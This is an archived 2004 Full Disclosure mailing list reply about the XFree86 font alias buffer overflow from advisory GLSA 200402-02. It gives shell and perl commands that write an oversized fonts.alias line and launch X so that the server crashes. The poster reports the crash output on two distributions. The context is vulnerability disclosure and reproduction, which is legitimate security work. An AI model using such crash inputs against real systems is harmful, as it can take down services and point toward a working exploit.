Full Disclosure mailing list archives

Re: [ GLSA 200402-02 ] XFree86 Font Information File Buffer Overflow


From: "Evert Daman" <linux () digipix org>
Date: Thu, 12 Feb 2004 08:45:51 +0100


To reproduce the overflow on the command line, you can run:

# cat > fonts.dir <<EOF
~  1
~  word.bdf \
~  -misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso8859-1
~  EOF
# perl -e 'print "0" x 1024 . "A" x 96 . "\n"' > fonts.alias
# X :0 -fp $PWD

{Some output removed}... Server aborting... Segmentation fault (core
dumped)

mandrake gives me a:

Fatal server error:
Caught signal 11.  Server aborting

no segfault or something...

kind regards,
Evert


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


Current thread: